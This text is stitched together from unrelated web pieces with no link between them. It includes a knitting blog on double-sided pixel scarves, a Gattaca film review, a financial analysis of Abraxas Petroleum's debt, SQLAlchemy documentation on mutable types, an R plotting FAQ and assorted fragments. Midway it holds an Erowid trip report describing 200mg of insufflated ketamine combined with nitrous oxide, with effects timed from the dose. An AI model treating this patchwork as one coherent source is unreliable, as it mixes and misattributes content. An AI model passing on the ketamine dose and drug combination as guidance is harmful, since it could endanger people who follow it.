Welcome to part two of the tale of the Christmas fam scarf. The blog can be read in any order with no detriment to enjoyment. Here’s a sum-up of each.
Part one: The intro and the pattern. Describes how the pixel pattern was created, taking through from photograph all the way to pixelated blob.
You’re reading Part two: The actual knitting. This will be an account of what went into the actual knitting of the scarf, referencing some super helpful tutorials and putting them in the context of working from a pixel pattern.
Part three: ScarfParty - your solution to the pixel pattern problem will gleefully describe the pattern tracking app I found I had to make to follow the pixel pattern for my much more complex fam faces.
###The materials
For no reason other than that I had some left over from a previous project and had knitted my test duck in it, I used aran/worsted weight wool for my fam scarf. And, for no reason other than that my mum had lent me hers for another previous project, I used 4.5mm aluminium needles.
The aforementioned test duck.
I nipped out on my lunch break and got the wool for the final scarf from Loop in Islington, London. I ended up needing a bit less than eight 50g, 80 metre balls (four of each colour).
Finally, you’ll be grateful for a tapestry needle when you’re tidying up your loose ends.
Due to the unscientific nature of my choices in this area, I’m not going to be very good at convincing you whether you should follow my example or learn from its errors. I will tell you that my scarf weighs 366g and that it’s nice and thick and warm, which would be great if we were ever going to have a winter in the UK again. It’s about 7mm thick when it’s not being stretched. Personally, I think it turned out great.
###The techniques
This blog assumes a bit of experience with knitting, or at least familiarity with the concepts of the knit and purl stitches. Not loads though, this is only really my fourth vaguely serviceable project.
The technique I used to make the scarf lie flat and look scarfy on both sides is called double knitting or double-sided knitting. This basically involves knitting the two sides at the same time, knitting together the edges and borrowing colour from the other side for the design.
 Happily, youTube is positively bustling with eager knitting tutors, and this video by JoannesWeb absolutely smashes it. I actually learnt from a mishmash of various other videos and articles and only came across this one after my scarf was finished, but I think it’s the best video I’ve found. Highly recommended if you’re gearing up for your own double-sided scarf project.
From 0:09 to 0:54 she does a very nice cast on. From 0:56 to 6:24 she demonstrates how to do the first three plain rows. At 8:48 she shows how to bring in colour from the other side for creating designs.
####Where I diverge/expand There are a few things missing from the above video or things I did differently in the fam scarf that I wouldn’t want you to miss out on.
#####Casting on for your pixel pattern We want to cast on two more stitches than the width of our pattern, giving us enough stitches to fulfil the pattern itself, and two for each edge. A cast on for a pattern 10 stitches wide might look like this:
#####Alternative edges In the video, she starts and ends each row by knitting the double stitch (the light and the dark together) and never with a purl.
I started off doing this and found it creates this sort of serrated edge on each side:
On the fam scarf, I went for a slightly different approach, which is less visible on one side but creates some nice v shapes on the other:
Of course, it’s down to personal preference, but if this edge style does appeal, achieving it is no more complicated. Simply knit together the edge stitches when the front side is facing you and purl them when the back side is facing you.
Another way of thinking about this is that you knit on the odd rows (the row counter starting at 1) and purl on the even ones.

 I just did a basic cast off, knitting the two stitches for each side together. So, following my cast-off approach for a ten-pixel-wide pattern, you’d cast off 12 stitches total. One for each of the edges, combining the yarns as per usual, and one for each pixel in the pattern, combining them to get both colours in the same stitch.
#####Tidying up your loose ends Tidying up loose ends on a double knitted scarf is refreshingly easy. As we’ve sort of made a big, occasionally-connected pocket with our two sides, we can just use a tapestry needle to poke them into the middle. Magic.
###Following the pixel pattern
The fact that our scarf is double-sided makes following the pattern a bit interesting, and I’ll go through an example here. The crucial factors are that, at the end of every row:
- The direction of the pattern is reversed
- The colours are reversed
Here’s our pattern, which I knocked up in Pinta. (see part one for more detail on making pixel patterns). It’s 10x10 and I was originally intending it to be an L for Laurie, but, as you can see, it looks more like a learner driver plate.
Let’s surrender to the automotive theme and pretend we’re using white and red wool. The first two rows are just block colour and are therefore pretty simple. We can easily visualise them in our heads like this. Remember that on each row the colours are reversed:
(Note that, as demonstrated in the tutorials linked above, when I say to knit a white stitch, I mean to knit a white stitch then purl a red one).
The third and fourth rows bring the beginnings of the design into our knitting, and again, without too great a feat of mental acrobatics, can be visualised as follows:
The fifth and sixth row get a bit more interesting, as these are the first rows that require us to think about reversing the design for the wrong side. Once again, done in your head, this might look like this:
And that’s pretty much it! Obviously, rows seven and eight are identical to five and six respectively, and rows nine and ten mirror the first two. Cast it off, tidy in the ends, stick it on your toy car and admire a job well done.
#####Trickier patterns
For simple patterns, visualising this stuff mentally is easy enough. I got all the way through my test duck quite happily, and was even just about smiling as I worked my way through my knitted QR code experiment:
You’ll be surprised to learn that it didn’t work.
The first several rows of my first attempt at the fam scarf, however, were enough to convince me that I needed to rethink my approach to pattern following. With a complex pattern, it quickly becomes very hard to remember what row and stitch you were on, which colours you should be knitting, and which direction you’re following the pattern in.
Even more so when you’re on a phone you bought in 2011 for £150 sim-free (long story) and, no matter how far you try to zoom in, this is the best view of your pixel pattern you can get up in the pub:
Oh god.
It’s for this reason that I invested time and enthusiasm in ScarfParty, my pixel pattern tracking web app. You can read all about the app, how it was made, and how you can use it for your own double-sided scarf projects in the next exciting chapter of the tale of the Christmas fam scarf.


This is probably my greatest passion, although it can get challenging at times. But that's half the fun, right?
As much as I enjoy the wast and always changing plane of the cyberspace, I also like to create physical objects with machines or manually, and automate the process if possible.
In my spare time I like to play my acoustic guitar and sing along to my favorite songs. Another activity that I do for fun is playing boardgames. I own quite a few - possibly too many.


Gattaca (1997) Rated PG-13 for brief violent images, language, some sexuality, and nudity --------- Out of 4 stars: ***1/2 (3 1/2 Stars)
Starring: Ethan Hawke, Uma Thurman, Loren Dean, Jude Law, Alan Arkin, Tony Shalhoub, Gore Vidal, and Xander Berkeley
With the release of GATTACA, I began to wonder why all science fiction films deal with destructive aliens, or aliens in general. Hollywood has given audiences plenty of thrills with those alien films, but what was usually lacking was a good story... and good characters... and good acting, etc (CONTACT being the exception). And for some reason, Hollywood has never taken a look at the aliens here on Earth. The closest, that I have seen anyway, was 2001: A SPACE ODYSSEY, which made mankind an alien race themselves, being dwarfed by the technology which they created.
 The difference between 2001 and this one is simple: GATTACA is more frightening. Most of the concepts of this movie are based on recent discoveries in genetic engineering. Using this premise, writer/director Andrew Niccol creates some genuine suspense and thrills. Unfortunately, due to a lack of advertising, I fear GATTACA may fair horribly at the box office. Since seeing the film, I have been asking people if they have seen GATTACA. Lately, however, I have been asking them if they have even heard of GATTACA. Most people don't even realize that it is a film. Despite this fact, I surely hope that the audience members who have seen this film will tell their friends about it. Niccol's film deserves more than what Independence Day made because it is smarter, better produced, and more realistic.
GATTACA begins in the 21st Century. Procreating is now done in a petri dish, and genetic engineering is the normal way of doing it. Natural child birth is considered old-fashioned. We are introduced to Jerome Morrow (Ethan Hawke), an employee of the Gattaca space program. One of the directors of the program has been murdered, and the main suspect is one Vincent Freeman. The only problem is that Jerome Morrow IS Vincent Freeman. Vincent was born the natural way when his parents decided on bringing their first child into the world through love. However, after his birth, and through several genetic tests, doctors tell his parents that he will have a 99% chance of a weak heart, as well as poor eye sight and a short life span. As a result, both parents decide to bring their next baby into the world via genetics. Anton (Loren Dean) is produced without flaws, and the competition between brothers spawns. Vincent has a dream to fly a solo-flight around the Titan, the 14th moon of Saturn, but because of his condition, Gattaca, and society in general, forces him to do menial labor around the company.
Labeled an "in-valid," Vincent's dream seems impossible, until he meets a black-market DNA specialist, German (Tony Shalhoub). German introduces him to a "valid" who has been paralized from the waste down due to an automobile accident. Jerome Morrow (Jude Law) agrees to give Vincent all the proper identification tools (urine, blood, skin and hair samples, etc.) that he will need to get past Gattaca's tight security. In exchange, Vincent will provide Jerome with the rent money and friendship. After the murder, however, his dreams are put at risk due to one of Vincent's eyelashes left at the scene of the crime. Irene Cassini (Uma Thurman) is a genetically flawed "valid" working for Gattaca, and she begins to fall in love with Vincent/Jerome.
GATTACA is one of the best science fiction films I have seen in a long time. Only two other intelligent science fiction films have come out in the past two years (CONTACT and THE ARRIVAL) and GATTACA will rank among them. Unfortunately, whenever one intelligent film comes out against special effects-laden films, it normally gets buried. The second best thing about GATTACA is the production design by Jan Roelfs. The orange glow of GATTACA's scenes are impressive, but the sets deserve most of the credit. The sets are very well done, creating a futuristic sense, but not too futuristic as to alienate viewers. As we look at the designs, we realize that these buildings aren't too far into the future. This brings the plot even more credibility as genetic engineering becomes more possible by every passing day. The best thing, however, is the plot. The story is more than your average sci-fi/thriller. At its heart, it develops a theme which is never overpowering but is always present. Perhaps Niccol is warning our race about the changes genetic tampering could bring.  Maybe human nature is a result of mankind's flaws. If we get rid of flaws, do we get rid of dreams as well? Niccol's intelligent script handles all these questions extremely well, and the result is an incredibly smart thriller set against a dramatic story, or vice versa.
The power of the actors brings a lot of credibility to flat characters. While flat may sound like a poor job on Niccol's part, it actually enhances the meaning behind the story. Ethan Hawke has developed into a handsome adult actor, giving his best performance of his lifetime so far. His curiosity and motivation pushes his character past all the discouraging remarks from his parents and "valid" peers. Uma Thurman is... well, Uma Thurman. Her character is slightly underdeveloped, but the story isn't about her. However, Thurman gives a lot of depth to the flat character. Jude Law gives the most complex performance of the film with the most disturbingly realistic character. He provides several nice touches, and his final scene is a very touching and heartwrenching one. Loren Dean gives a nice performance in his well-developed character. Dean is also responsible for some of the most suspenseful scenes in the movie. Alan Arkin portrays one of the detectives with a little less more excitement than with his psychiatrist in GROSSE POINTE BLANK. Still, he does a good job. Gore Vidal and Xander Berkeley both provide some very good supporting roles, and Berkeley also gives a heartfelt discussion towards the end of the film.
GATTACA is rated PG-13 for brief violent images, language, some sexuality, and nudity. Despite the somber and desolate mood of the entire film, I wasn't exactly prepared for the ending which left me feeling empty. It turned me off slightly, but then I realized that everything turned out the way it should have. If this had been a typical Hollywood film, it would have ended much differently. However, with all the mindless science fiction films out there, it is nice to have a film which doesn't talk down to its audience (I especially like the ironic title and how it consists of the four letters which make up the genetic coding: G, T, C, and A). Instead, it provides some much needed entertainment which gives us science fiction fanatics just what we want: a science fiction film with morals behind it. Whatever happened to giving the audience a lesson while entertaining? Hopefully more writers and directors will learn from GATTACA... and hopefully audiences will too.
P.S. Personal note to P.J. Gladnick: How dare you call this film the worst film of the year. I can't even begin to image what film you do like. That frightens me beyond anything.
Reviewed by Respect (pun intended) -<EMAIL_ADDRESS>http://www.aros.net/~respect/movies.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{{ deployment.name }}
Appliance: {{ deployment.app_version_details?.application?.name }}
Version: {{ deployment.app_version_details?.version }}
Cloud: {{ deployment.deployment_target?.target_zone?.cloud.name }}
Credentials: {{ credentials.name }}
A new SSH key pair was created when this instance was launched. The key will be available for retrieval only here for up to one hour after the instance was launched. Download the key and keep it secure.


Peter Steinbach
(HZDR)
Nov 9, 2020
Most people design lessons like this (from TeachTogether):
Someone asks you to teach something you barely know or haven’t thought about in years.
You start writing slides to explain what you know about the subject.
After 2 or 3 weeks, you make up an assignment based on what you’ve taught so far.
You repeat step 3 several times.
You stay awake into the wee hours of the morning to create a final exam and promise yourself that you’ll be more organized next time.
Details and further reading: Greg Wilson, Teaching Tech Together, 2019, CRC Press
Presenting a novice with a pile of facts is counter-productive because they don’t yet have a model to fit those facts into.
In fact, presenting too many facts too soon can actually reinforce the incorrect mental model they’ve cobbled together.
HPC is no exception!
Remembering: Exhibit memory of previously learned material by recalling facts, terms, basic concepts, and answers. (recognize, list, describe, name, find) Understanding:
Understanding: Demonstrate understanding of facts and ideas by organizing, comparing, translating, interpreting, giving descriptions, and stating main ideas. (interpret, summarize, paraphrase, classify, explain)
Applying: Solve new problems by applying acquired knowledge, facts, techniques and rules in a different way. (build, identify, use, plan, select)
Analyzing: Examine and break information into parts by identifying motives or causes; make inferences and find evidence to support generalizations. (compare, contrast, simplify)
Evaluating: Present and defend opinions by making judgments about information, validity of ideas, or quality of work based on a set of criteria. (check, choose, critique, prove, rate)
Creating: Compile information together in a different way by combining elements in a new pattern or proposing alternative solutions. (design, construct, improve, adapt, maximize, solve)
learner personas: who you are trying to help and what will appeal to them!
Brainstorm what and what not to cover: how? problems or misconceptions? (concept maps!K) can help a lot at this stage (Section 3.1).
summative assessment to define your overall goal. (final exam or capstone project)
formative assessments to practice (use for feedback to teacher and learner)
Order the formative assessments to create a course outline
Write material (1 hour = 3-5 episodes incl formative assessment)
Write a summary description
Let’s Exercise!


Abraxas Petroleum: Relieves Some Credit Facility Pressure
by Elephant AnalyticsSummary
- Abraxas has arranged $100 million in second-lien debt from Angelo Gordon.
- This provides it with some liquidity and relieves it from its first-lien credit facility pressure. The first-lien facility saw a 35% borrowing base reduction in conjunction with this transaction.
- Higher interest costs add $2.50 per barrel to Abraxas's unhedged oil breakeven point, bringing it into the mid-$50s.
- Abraxas has some time, but needs to figure out a longer-term solution to its debt issues. Its credit facilities mature in 2022.
Abraxas Petroleum (AXAS) has secured second-lien financing that relieves some of the pressure it faced from a borrowing base reduction. This comes at a high interest cost though, with the new financing having a double-digit interest rate. Abraxas has some time, but it needs higher oil prices (with improved prices for NGLs and natural gas potentially also helping) in order to get itself out of its debt issues.
Credit Facility Transactions
It appears that Abraxas's credit facility lenders wanted to significantly reduce their exposure to Abraxas's debt, forcing Abraxas to secure high-interest rate second-lien debt from Angelo Gordon.
As a result, Abraxas's first-lien credit facility borrowing base has been reduced to $135 million from $207.5 million. Abraxas had $94 million drawn under the facility at last report. Last I checked, Abraxas's borrowing base was at $217.5 million, and I am uncertain about why it decreased to $207.5 million before the latest decrease.
Abraxas's $100 million second-lien credit facility has a significantly higher interest rate (such as adjusted LIBO + 9.0%), which appears to be around 5.5% higher than its first-lien credit facility.
These transactions could also mean that Abraxas has not been able to find a buyer willing to pay a sufficient price for its mature Bakken assets. A sufficient price would be one that would cover its credit facility debt and leave some funds to fund Delaware Basin development.
2020 Outlook
I had thought before that Abraxas could deliver around 6,500 to 7,000 barrels of oil production in 2020 with $60 million to $70 million in capital expenditures. This relative efficiency would be due to the completion of the six Jore Federal Extension DUCs, allowing it to reduce capex from 2019.
Source: Abraxas Petroleum
At current strip prices (mid-$50s WTI oil), Abraxas would then be able to generate $127 million in oil and gas revenue after hedges in 2020. Natural gas and NGL revenues are expected to continue to be minimal even if there is some improvement over Q3 2019's very weak realized prices. In Q3 2019, Abraxas only received $0.3 million in revenue from the sale of gas and NGLs.
| Units | Price Per Unit | Revenue ($ Million) | |
| Oil (Barrels) | 2,463,750 | $51.50 | $127 |
| Natural Gas and NGLs | $4 | ||
| Hedge Value | -$4 | ||
| Total | $127 |
With $65 million in capital expenditures, Abraxas would end up with $128 million in cash expenditures. Thus, it would end up with near neutral cash flow ($1 million in cash burn in this scenario).
| $ Million | |
| Lease Operating Expense | $27 |
| Production Tax | $10 |
| Cash SG&A | $10 |
| Interest Expense | $16 |
| Capital Expenditures | $65 |
| Total | $128 |
The challenge Abraxas faces is that its breakeven point may be around mid-$50s WTI oil now with the increased interest costs. The increased interest costs have increased its unhedged oil breakeven point by around $2.50.
Abraxas has bought itself some more time and breathing room with its credit facility transactions. However, its first-lien credit facility currently matures in May 2022 and its second-lien credit facility matures in November 2022.
With $41 million in credit facility availability and a requirement to maintain $15 million in liquidity at the end of the month, Abraxas can't incur a huge amount of cash burn.
Thus, at mid-$50s oil, it may not be able to meaningfully increase production by the time its credit facilities mature. With its Bakken inventory running out, Abraxas's capital efficiency is likely to decline as well.
Conclusion
Abraxas's second-lien credit facility has relieved it of the pressure from borrowing base reductions and given it some additional liquidity for now. It does come at a high interest rate cost though, and raises Abraxas's oil breakeven point by around $2.50 per barrel.
Abraxas does have some time, but it will need to figure how to maneuver itself out of its current predicament where it can't grow production much at mid-$50s oil and will need to deal with its credit facilities again in 2022. Abraxas's total debt appears to be around 2.4x EBITDAX (at mid-$50s oil and little contribution from natural gas and NGLs), which is a bit high. Its total valuation is around 3.0x EBITDAX, so the company as a whole isn't that expensive, although its longer-term situation is a bit murky.
Free Trial Offer
We are currently offering a free two-week trial to Distressed Value Investing. Join our community to receive exclusive research about various energy companies and other opportunities along with full access to my portfolio of historic research that now includes over 1,000 reports on over 100 companies.
Disclosure: I/we have no positions in any stocks mentioned, and no plans to initiate any positions within the next 72 hours. I wrote this article myself, and it expresses my own opinions. I am not receiving compensation for it (other than from Seeking Alpha). I have no business relationship with any company whose stock is mentioned in this article.


Dose as function of weight: 3.08 mg/kg
This is definite K Hole territory. As it was.
Anyway:
I cut out two phat 100mg lines, chopped up into very fine powder. I then insufflated both, one after another - one for each nostril. Ow. Burnt quite badly. I then prepared a NOS for later on, chucking a cartridge into the cracker and stretching a balloon over the outlet, and put it next to my bed for later. Here is the Word file I had open to document the effects if I were able to. Here, you can see that I gave up rather quickly, haha!
*****
T+0 200mg ketamine insufflated
T+5 Onset of effects
T+10 the effects have grown hugely in intens
*****
I gave up at that point, crawling into my bed, grabbing my MP3 player (which I had prepared beforehand so all I had to do was put the headphones on and push play, thankfully - filled with full on Psy) and then curling into the foetal position - I wanted to minimize movement to minimize any possibility of nausea, as I knew this would be disasterous given that the world was already in fragments around me so I wouldn't be able to get outside.
Very intense OEV's and CEV's. Still getting stronger, much stronger, and I realize this is only the beginning. I operate the NOS cracker while I'm still able to (with considerable difficulty). Unfortunately, the full on Psy I had so carefully planned sounded faraway and distant, as though being heard underwater - still very enjoyable, though. NMDA antagonist psychedelics don't seem to agree with sound. As I sensed the experience began to peak out (in orbit around the Earth at this time Laughing out Loud), I had the nitrous.
 I had been VERY frustrated with this, as I sensed great things to see and behold were behind that wall if I could overcome them.
There was no problem this time. Synergy of NMDA antagonists, weow! Forget about going over it, I blasted straight through it (fragments flew everywhere!) and began to slide down a slope made of kaledoscopic vinyl, with a sheer drop at the end. The strangest thing, at the edges of the hill were literally thousands of ceramic garden Gnomes, completely animated, all chanting in synchrony 'A new way to say... HOORAY!' - a excerpt & abstraction of lyrics written by Syd Barrett of (formerly) Pink Floyd and later used by Terence McKenna & Shpongle, I believe - but I disgress.
The sheer drop approached. I did not resist. Over I went.
Below - a HUGE (it went on for as far as I could see it) gridlike structure of pinpoint lights, seething with energy. It was like, um, how in the film The Matrix they have the farms of human bodies producing electricity - except somehow friendly and welcoming. The collective consciousness.
White tendrils of energy enveloped me, and all I knew was forever *Purity*.
I had been waiting to get here, I am home. Such incredible beauty.
I have absolutely no idea how long was spent there in this state.
But, I am thankful of every second of it. I'll return, sometime, but not for quite some time, until I have some more good questions to ask. Good answers require good questions.
:)
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Taste the feeling
The main leading distributer of Coca-Cola softdrinks across Tanzania,managing large scale to small scale retailers across every inch so as to sastify the thirst of our beloved customers.As we are celebrating 128 years of our success we are giving our many giveaways.Stay tune with us
Learn More


--- title: "FAQ" weight: 23 ---
One common reason why your ggplot2
graph may not be displaying is because you may have not typed the name of your graph and run it.
There are a two common reasons why R might not be able to find your variable. Check that you have spelt the name exactly as it appears in the dataset (remember that you can use the codebook to check variable names and descriptions to do this)
Another possibility is that you may have not used the $
to explicitly state which variable you would like R to find.
Once you plot your graph in the bottom right panel of R studio, you can use the ggsave()
function to save your most recent plot. Your code should look something like:
ggsave("the_name_of_your_plot_here")
Whenever you use the ggsave()
function, your plot will be saved in your working directory. If you are not sure what your working directory is, use the getwd()
function which will show you were in your pc plot was saved to.
ggplot2
.Check if you have called ggplot2
from your library using the function library(ggplot2)
.
tidyverse
from your library using the function library(tidyverse)
Check if you have called ggplot from your library using the function library(ggplot2)
.


Provide support for tracking of in-place changes to scalar values, which are propagated into ORM change events on owning parent objects.
The sqlalchemy.ext.mutable extension replaces SQLAlchemy’s legacy approach to in-place mutations of scalar values, established by the types.MutableType class as well as the mutable=True type flag, with a system that allows change events to be propagated from the value to the owning parent, thereby removing the need for the ORM to maintain copies of values as well as the very expensive requirement of scanning through all “mutable” values on each flush call, looking for changes.
A typical example of a “mutable” structure is a Python dictionary. Following the example introduced in Column and Data Types, we begin with a custom type that marshals Python dictionaries into JSON strings before being persisted:
from sqlalchemy.types import TypeDecorator, VARCHAR
import json
class JSONEncodedDict(TypeDecorator):
"Represents an immutable structure as a json-encoded string."
impl = VARCHAR
def process_bind_param(self, value, dialect):
if value is not None:
value = json.dumps(value)
return value
def process_result_value(self, value, dialect):
if value is not None:
value = json.loads(value)
return value
The usage of json is only for the purposes of example. The sqlalchemy.ext.mutable extension can be used with any type whose target Python type may be mutable, including PickleType, postgresql.ARRAY, etc.
When using the sqlalchemy.ext.mutable extension, the value itself tracks all parents which reference it. Below, we illustrate the a simple version of the MutableDict dictionary object, which applies the Mutable mixin to a plain Python dictionary:
import collections
from sqlalchemy.ext.mutable import Mutable
class MutableDict(Mutable, dict):
@classmethod
def coerce(cls, key, value):
"Convert plain dictionaries to MutableDict."
if not isinstance(value, MutableDict):
if isinstance(value, dict):
return MutableDict(value)
# this call will raise ValueError
return Mutable.coerce(key, value)
else:
return value
def __setitem__(self, key, value):
"Detect dictionary set events and emit change events."
dict.__setitem__(self, key, value)
self.changed()
def __delitem__(self, key):
"Detect dictionary del events and emit change events."
dict.__delitem__(self, key)
self.changed()
The above dictionary class takes the approach of subclassing the Python built-in dict to produce a dict subclass which routes all mutation events through __setitem__. There are variants on this approach, such as subclassing UserDict.UserDict or collections.MutableMapping; the part that’s important to this example is that the Mutable.changed() method is called whenever an in-place change to the datastructure takes place.
We also redefine the Mutable.coerce() method which will be used to convert any values that are not instances of MutableDict, such as the plain dictionaries returned by the json module, into the appropriate type. Defining this method is optional; we could just as well created our JSONEncodedDict such that it always returns an instance of MutableDict, and additionally ensured that all calling code uses MutableDict explicitly. When Mutable.coerce() is not overridden, any values applied to a parent object which are not instances of the mutable type will raise a ValueError.
Our new MutableDict type offers a class method as_mutable() which we can use within column metadata to associate with types. This method grabs the given type object or class and associates a listener that will detect all future mappings of this type, applying event listening instrumentation to the mapped attribute. Such as, with classical table metadata:
from sqlalchemy import Table, Column, Integer
my_data = Table('my_data', metadata,
Column('id', Integer, primary_key=True),
Column('data', MutableDict.as_mutable(JSONEncodedDict))
)
Above, as_mutable() returns an instance of JSONEncodedDict (if the type object was not an instance already), which will intercept any attributes which are mapped against this type. Below we establish a simple mapping against the my_data table:
from sqlalchemy import mapper
class MyDataClass(object):
pass
# associates mutation listeners with MyDataClass.data
mapper(MyDataClass, my_data)
The MyDataClass.data member will now be notified of in place changes to its value.
There’s no difference in usage when using declarative:
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()
class MyDataClass(Base):
__tablename__ = 'my_data'
id = Column(Integer, primary_key=True)
data = Column(MutableDict.as_mutable(JSONEncodedDict))
Any in-place changes to the MyDataClass.data member will flag the attribute as “dirty” on the parent object:
>>> from sqlalchemy.orm import Session
>>> sess = Session()
>>> m1 = MyDataClass(data={'value1':'foo'})
>>> sess.add(m1)
>>> sess.commit()
>>> m1.data['value1'] = 'bar'
>>> assert m1 in sess.dirty
True
The MutableDict can be associated with all future instances of JSONEncodedDict in one step, using associate_with(). This is similar to as_mutable() except it will intercept all occurrences of MutableDict in all mappings unconditionally, without the need to declare it individually:
MutableDict.associate_with(JSONEncodedDict)
class MyDataClass(Base):
__tablename__ = 'my_data'
id = Column(Integer, primary_key=True)
data = Column(JSONEncodedDict)
The key to the sqlalchemy.ext.mutable extension relies upon the placement of a weakref.WeakKeyDictionary upon the value object, which stores a mapping of parent mapped objects keyed to the attribute name under which they are associated with this value. WeakKeyDictionary objects are not picklable, due to the fact that they contain weakrefs and function callbacks. In our case, this is a good thing, since if this dictionary were picklable, it could lead to an excessively large pickle size for our value objects that are pickled by themselves outside of the context of the parent. The developer responsibility here is only to provide a __getstate__ method that excludes the _parents() collection from the pickle stream:
class MyMutableType(Mutable):
def __getstate__(self):
d = self.__dict__.copy()
d.pop('_parents', None)
return d
With our dictionary example, we need to return the contents of the dict itself (and also restore them on __setstate__):
class MutableDict(Mutable, dict):
# ....
def __getstate__(self):
return dict(self)
def __setstate__(self, state):
self.update(state)
In the case that our mutable value object is pickled as it is attached to one or more parent objects that are also part of the pickle, the Mutable mixin will re-establish the Mutable._parents collection on each value object as the owning parents themselves are unpickled.
Composites are a special ORM feature which allow a single scalar attribute to be assigned an object value which represents information “composed” from one or more columns from the underlying mapped table. The usual example is that of a geometric “point”, and is introduced in Composite Column Types.
Changed in version 0.7: The internals of orm.composite() have been greatly simplified and in-place mutation detection is no longer enabled by default; instead, the user-defined value must detect changes on its own and propagate them to all owning parents. The sqlalchemy.ext.mutable extension provides the helper class MutableComposite, which is a slight variant on the Mutable class.
As is the case with Mutable, the user-defined composite class subclasses MutableComposite as a mixin, and detects and delivers change events to its parents via the MutableComposite.changed() method. In the case of a composite class, the detection is usually via the usage of Python descriptors (i.e. @property), or alternatively via the special Python method __setattr__(). Below we expand upon the Point class introduced in Composite Column Types to subclass MutableComposite and to also route attribute set events via __setattr__ to the MutableComposite.changed() method:
from sqlalchemy.ext.mutable import MutableComposite
class Point(MutableComposite):
def __init__(self, x, y):
self.x = x
self.y = y
def __setattr__(self, key, value):
"Intercept set events"
# set the attribute
object.__setattr__(self, key, value)
# alert all parents to the change
self.changed()
def __composite_values__(self):
return self.x, self.y
def __eq__(self, other):
return isinstance(other, Point) and \
other.x == self.x and \
other.y == self.y
def __ne__(self, other):
return not self.__eq__(other)
The MutableComposite class uses a Python metaclass to automatically establish listeners for any usage of orm.composite() that specifies our Point type. Below, when Point is mapped to the Vertex class, listeners are established which will route change events from Point objects to each of the Vertex.start and Vertex.end attributes:
from sqlalchemy.orm import composite, mapper
from sqlalchemy import Table, Column
vertices = Table('vertices', metadata,
Column('id', Integer, primary_key=True),
Column('x1', Integer),
Column('y1', Integer),
Column('x2', Integer),
Column('y2', Integer),
)
class Vertex(object):
pass
mapper(Vertex, vertices, properties={
'start': composite(Point, vertices.c.x1, vertices.c.y1),
'end': composite(Point, vertices.c.x2, vertices.c.y2)
})
Any in-place changes to the Vertex.start or Vertex.end members will flag the attribute as “dirty” on the parent object:
>>> from sqlalchemy.orm import Session
>>> sess = Session()
>>> v1 = Vertex(start=Point(3, 4), end=Point(12, 15))
>>> sess.add(v1)
>>> sess.commit()
>>> v1.end.x = 8
>>> assert v1 in sess.dirty
True
The MutableBase.coerce() method is also supported on composite types. In the case of MutableComposite, the MutableBase.coerce() method is only called for attribute set operations, not load operations. Overriding the MutableBase.coerce() method is essentially equivalent to using a validates() validation routine for all attributes which make use of the custom composite type:
class Point(MutableComposite):
# other Point methods
# ...
def coerce(cls, key, value):
if isinstance(value, tuple):
value = Point(*value)
elif not isinstance(value, Point):
raise ValueError("tuple or Point expected")
return value
New in version 0.7.10,0.8.0b2: Support for the MutableBase.coerce() method in conjunction with objects of type MutableComposite.
As is the case with Mutable, the MutableComposite helper class uses a weakref.WeakKeyDictionary available via the MutableBase._parents() attribute which isn’t picklable. If we need to pickle instances of Point or its owning class Vertex, we at least need to define a __getstate__ that doesn’t include the _parents dictionary. Below we define both a __getstate__ and a __setstate__ that package up the minimal form of our Point class:
class Point(MutableComposite):
# ...
def __getstate__(self):
return self.x, self.y
def __setstate__(self, state):
self.x, self.y = state
As with Mutable, the MutableComposite augments the pickling process of the parent’s object-relational state so that the MutableBase._parents() collection is restored to all Point objects.
Common base class to Mutable and MutableComposite.
Dictionary of parent object->attribute name on the parent.
This attribute is a so-called “memoized” property. It initializes itself with a new weakref.WeakKeyDictionary the first time it is accessed, returning the same object upon subsequent access.
Given a value, coerce it into the target type.
Can be overridden by custom subclasses to coerce incoming data into a particular type.
By default, raises ValueError.
This method is called in different scenarios depending on if the parent class is of type Mutable or of type MutableComposite. In the case of the former, it is called for both attribute-set operations as well as during ORM loading operations. For the latter, it is only called during attribute-set operations; the mechanics of the composite() construct handle coercion during load operations.
| Parameters: |
|
|---|---|
| Returns: | the method should return the coerced value, or raise ValueError if the coercion cannot be completed. |
Bases: sqlalchemy.ext.mutable.MutableBase
Mixin that defines transparent propagation of change events to a parent object.
See the example in Establishing Mutability on Scalar Column Values for usage information.
Associate a SQL type with this mutable Python type.
This establishes listeners that will detect ORM mappings against the given type, adding mutation event trackers to those mappings.
The type is returned, unconditionally as an instance, so that as_mutable() can be used inline:
Table('mytable', metadata,
Column('id', Integer, primary_key=True),
Column('data', MyMutableType.as_mutable(PickleType))
)
Note that the returned type is always an instance, even if a class is given, and that only columns which are declared specifically with that type instance receive additional instrumentation.
To associate a particular mutable type with all occurrences of a particular type, use the Mutable.associate_with() classmethod of the particular Mutable() subclass to establish a global association.
Warning
The listeners established by this method are global to all mappers, and are not garbage collected. Only use as_mutable() for types that are permanent to an application, not with ad-hoc types else this will cause unbounded growth in memory usage.
Associate this wrapper with all future mapped columns of the given type.
This is a convenience method that calls associate_with_attribute automatically.
Warning
The listeners established by this method are global to all mappers, and are not garbage collected. Only use associate_with() for types that are permanent to an application, not with ad-hoc types else this will cause unbounded growth in memory usage.
Establish this type as a mutation listener for the given mapped descriptor.
Subclasses should call this method whenever change events occur.
Bases: sqlalchemy.ext.mutable.MutableBase
Mixin that defines transparent propagation of change events on a SQLAlchemy “composite” object to its owning parent or parents.
See the example in Establishing Mutability on Composites for usage information.
Subclasses should call this method whenever change events occur.
Bases: sqlalchemy.ext.mutable.Mutable, dict
A dictionary type that implements Mutable.
New in version 0.8.
Convert plain dictionary to MutableDict.


Top right heading of the notification panel turns dark green when connected to server, turns red otherwise!
If you submit job and wait for 3 seconds before expanding notification panel, then you can see count of unseen notifications!
Once you expand the notification panel, unseen notification count becomes 0 and becomes invisible!
Click on notification panel to expand and/or collapse it!
Each job contains current time stamp as its ID
Color codes for notifications: Orange: job submitted and pending for completion, Green: job completed successfully, Red: job failed due to web app refresh!
Note that only currently submitted jobs can be stored in history, i.e after submitting a job or jobs for current session, if web app is refreshed, previous notifications are in history (LocalStorage)!
If a job is submitted and web page is refreshed before job completes, then after refresh that job notification will turn red denoting that job failed!
